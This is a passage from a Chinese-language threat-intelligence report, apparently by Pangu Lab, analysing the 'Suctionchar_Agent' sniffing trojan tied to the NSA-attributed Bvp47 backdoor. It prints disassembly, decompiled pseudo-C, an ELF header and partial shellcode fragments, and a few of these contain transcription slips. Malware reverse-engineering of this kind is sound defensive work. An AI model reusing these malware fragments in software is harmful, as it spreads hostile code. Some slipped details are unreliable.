LOAD:0805CB48 89 45 E4
LOAD:0805CB4B 8B 73 E6 93 FB
LOAD:0805CB50 F7 65 E4
LOAD:0805CB53 8B 45 E4
LOAD:0805CB56 C1 EA 09
LOAD:0805CB59 69 D2 09 02 00 00
LOAD:0805CB5F 29 D0
LOAD:0805CB61 89 C2

push eop
mov eax, 0FFFFFFFh
mov ebp, esp
push edi
push esi
push ebx
sub esp, 2Ch
mov ecx, [ebp+x]
mov ebx, [ebp+y]
mov edi, [ebp+z]
test ecx, ecx
jz short loc_805CB7A
test ebx, ebx
jz short loc_805CB7A
test edi, edi
jz short loc_805CB7A
mov eax, [ecx]
test eax, eax
jz short loc_805CB82

loc_805CB19: ; CODE XREF: serial_bind_0x7bbf2c88_+AF4j
xor esi, esi
jmp short loc_805CB2A

; -----
align 10h

loc_805CB20: ; CODE XREF: serial_bind_0x7bbf2c88_+434j
add esi, 1
add ebx, 14h
cmp edi, esi
jbe short loc_805CB78

loc_805CB2A: ; CODE XREF: serial_bind_0x7bbf2c88_+2B1j
; serial_bind_0x7bbf2c88_+854j
mov eax, [ebx+8]
sub eax, 1
cmp eax, 1
ja short loc_805CB20
mov eax, [ebx]
add esi, 1
mov [ebp+var_20], ecx
mov [esp], eax ; str_stext
call sub_805DAB0
mov ecx, [ebp+var_20]
mov [ebp+var_1C], eax
mov eax, 0FB93E673h
mul [ebp+var_1C]
mov eax, [ebp+var_1C]
shr edx, 9
imul edx, 209h
sub eax, edx
mov edx, eax

```

## 伪C语言代码：

```
1 int __cdecl serial_bind_0x7bbf2c88(int x, int y, int z)
2 {
3     int result; // eax
4     int v4; // ecx
5     int v5; // ebx
6     unsigned int v6; // esi
7     unsigned int v7; // eax
8     int v8; // eax
9     _BOOL1 v9; // zf
10    _DWORD *v10; // [esp+18h] [ebp-20h]
11
12    result = -1;
13    v4 = x;
14    v5 = y;
15    if ( x )
16    {
17        if ( y )
18        {
19            if ( z )
20            {
21                if ( *(_DWORD *)x
22                    || (v8 = serial_bind_0x227ffec5_malloc(2084), v4 = x,
23                        v9 = v8 == 0,
24                        *(_DWORD *)x = v8,
25                        result = 0xD0000013,
26                        !v9) )
27                {
28                    v6 = 0;
29                    do
30                    {
31                        while ( (unsigned int)*(_DWORD *)(v5 + 8) - 1 > 1 )
32                        {
33                            ++v6;
34                            v5 += 20;
35                            if ( z <= v6 )
36                                goto LABEL_9;
37                        }
38                        ++v6;
39                        v10 = (_DWORD *)v4;
40                        v7 = sub_805DAB0(*(char **)v5);
41                        v4 = (int)v10;
42                        *(_DWORD *)(v5 + 12) = *(_DWORD *)(*v10 + 4 * (v7 % 0x209));
43                        *(_DWORD *)(*v10 + 4 * (v7 % 0x209)) = v5;
44                        v5 += 20;
45                    }
46                    while ( z > v6 );
47 LABEL_9:
48                    result = 0;
49                }
50            }
51        }
52    }
53    return result;
54 }
```

## 部分shellcode

在loader模块中还有部分是部分不太完整的加密ELF文件，经过解密后是几个shellcode形式的代码。

### 1. 对应的ELF头部格式定义如下

```
LOAD:08063D20 7F 45 4C 46 01 01 01 00 00 00 00 00+g_elf_buf  db 7Fh, 45h, 4Ch, 46h, 3 dup(1), 9 dup(0); e_ident
LOAD:08063D20 00 00 00 01 00 03 00 01 00 00 00+  ; DATA XREF: serial_bvp+2Cto
LOAD:08063D20 00 00 00 00 00 00 00 00 80 07 00 00+  ; serial_bvp+52to
LOAD:08063D20 00 00 00 34 00 00 00 00 00 28 00+  dw 1 ; e_type
LOAD:08063D20 0E 00 00 00  dw 3 ; e_machine
LOAD:08063D20 dd 1 ; e_version
LOAD:08063D20 dd 1 ; e_entry
LOAD:08063D20 dd 0 ; e_shoff
LOAD:08063D20 dd 780h ; e_shoff
LOAD:08063D20 dd 0 ; e_flags
LOAD:08063D20 dw 34h ; e_ehsize
LOAD:08063D20 dw 0 ; e_phsize
LOAD:08063D20 dw 0 ; e_phnum
LOAD:08063D20 dw 28h ; e_shsize
LOAD:08063D20 dw 0Eh ; e_shnum
LOAD:08063D20 dw 08h ; e_shstrndx
LOAD:08063D54 ; -----
```


### 2. 中间的几段shellcode会互相跳转

```
LOAD:08063D54
LOAD:08063D54
LOAD:08063D54
LOAD:08063D54
LOAD:08063D54
LOAD:08063D54
LOAD:08063D54 55
LOAD:08063D55 89 E5
LOAD:08063D57 57
LOAD:08063D58 56
LOAD:08063D59 53
LOAD:08063D5A 83 EC 1C
LOAD:08063D5D 6A 01
LOAD:08063D5F FF 35 2C 00 00 00
LOAD:08063D65 FF 35 30 00 00 00
LOAD:08063D68 FF 35 28 00 00 00
LOAD:08063D71 E8 1C 03 00 00
LOAD:08063D76 83 C4 10
LOAD:08063D79 89 45 DC
LOAD:08063D7C A1 1C 00 00 00
LOAD:08063D81 85 C0
LOAD:08063D83 89 45 E4
LOAD:08063D86 74 6D
LOAD:08063D88 A1 18 00 00 00
LOAD:08063D8D 85 C0
LOAD:08063D8F 89 45 E0
LOAD:08063D92 74 61
LOAD:08063D94 A1 14 00 00 00
LOAD:08063D99 85 C0
LOAD:08063D9B 74 58
LOAD:08063D9D 8B 15 10 00 00 00
LOAD:08063DA3 85 D2
LOAD:08063DA5 74 4E
LOAD:08063DA7 8B 0D 0C 00 00 00
LOAD:08063DAD 85 C9
LOAD:08063DAF 74 44
LOAD:08063DB1 8B 1D 08 00 00 00
LOAD:08063DB7 85 DB
LOAD:08063DB9 74 3A
LOAD:08063DBB 8B 35 04 00 00 00
LOAD:08063DC1 85 F6
LOAD:08063DC3 74 30
LOAD:08063DC5 8B 3D 00 00 00 00
LOAD:08063DC8 85 FF
LOAD:08063DCD 74 26
LOAD:08063DCF 83 EC 0C
LOAD:08063DD2 57
LOAD:08063DD3 56
LOAD:08063DD4 53
LOAD:08063DD5 BB FE FF FF FF
LOAD:08063DDA 51
LOAD:08063DD8 52
LOAD:08063DDC 50
LOAD:08063DDD FF 75 E0
LOAD:08063DE0 FF 75 E4
LOAD:08063DE3 FF 35 00 00 00 00
LOAD:08063DE9 E8 5A 01 00 00

shellcode_func_1 proc near
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
push 1
push large dword ptr ds:2Ch
push large dword ptr ds:30h
push large dword ptr ds:28h
call shellcode_func_6
add esp, 10h
mov [ebp+var_24], eax
mov eax, large ds:1Ch
test eax, eax
mov [ebp+var_1C], eax
jz short loc_8063DF5
mov eax, large ds:18h
test eax, eax
mov [ebp+var_20], eax
jz short loc_8063DF5
mov eax, large ds:14h
test eax, eax
jz short loc_8063DF5
mov edx, large ds:10h
test edx, edx
jz short loc_8063DF5
mov ecx, large ds:0Ch
test ecx, ecx
jz short loc_8063DF5
mov ebx, large ds:8
test ebx, ebx
jz short loc_8063DF5
mov esi, large ds:4
test esi, esi
jz short loc_8063DF5
mov edi, large ds:0
test edi, edi
jz short loc_8063DF5
sub esp, 0Ch
push edi
push esi
push ebx
mov ebx, 0FFFFFFEh
push ecx
push edx
push eax
push [ebp+var_20]
push [ebp+var_1C]
push large dword ptr ds:0
call shellcode_func_4
```



### 3. 共6段 shellcode



## 6. 结论

“饮茶”嗅探木马 ( Suctionchar\_Agent ) 程序的功能专一，综合分析Bvp47\_loader、Dewdrop等模块可以看出，“电幕行动” ( Bvp47 ) 在设计上体现了良好的架构能力。美国国家安全局 ( NSA ) 的攻击实施者可以通过Bvp47各个功能模块的灵活组合，隐蔽完成攻击任务，同时大幅降低该木马程序的暴露几率。尽管美国国家安全局 ( NSA ) 实施的攻击窃密活动具有高度的隐密性，但盘古实验室通过自有数据视野范围内的分析取证材料，结合对来源数据的深度挖掘，试图还原世界顶级黑客组织“方程式”的攻击窃密手法。

# 7. 参考

1. Bvp47-美国NSA方程式组织的顶级后门

[https://www.pangulab.cn/post/the\\_bvp47\\_a\\_top-tier\\_backdoor\\_of\\_us\\_nsa\\_equation\\_group/](https://www.pangulab.cn/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/)

2. The Shadow Brokers: x0rz-EQGRP

[https://github.com/x0rz/EQGRP/blob/master/Linux/up/suctionchar\\_agents.tar.bz2](https://github.com/x0rz/EQGRP/blob/master/Linux/up/suctionchar_agents.tar.bz2)

3. tcriswell/bpfa

<https://github.com/jtcriswell/bpfa>

4. bpf-asm-explained

<https://github.com/lgalia/pflua/blob/master/doc/technical/bpf-asm-explained.md>

5. cloudflare/bpftools

<https://github.com/cloudflare/bpftools>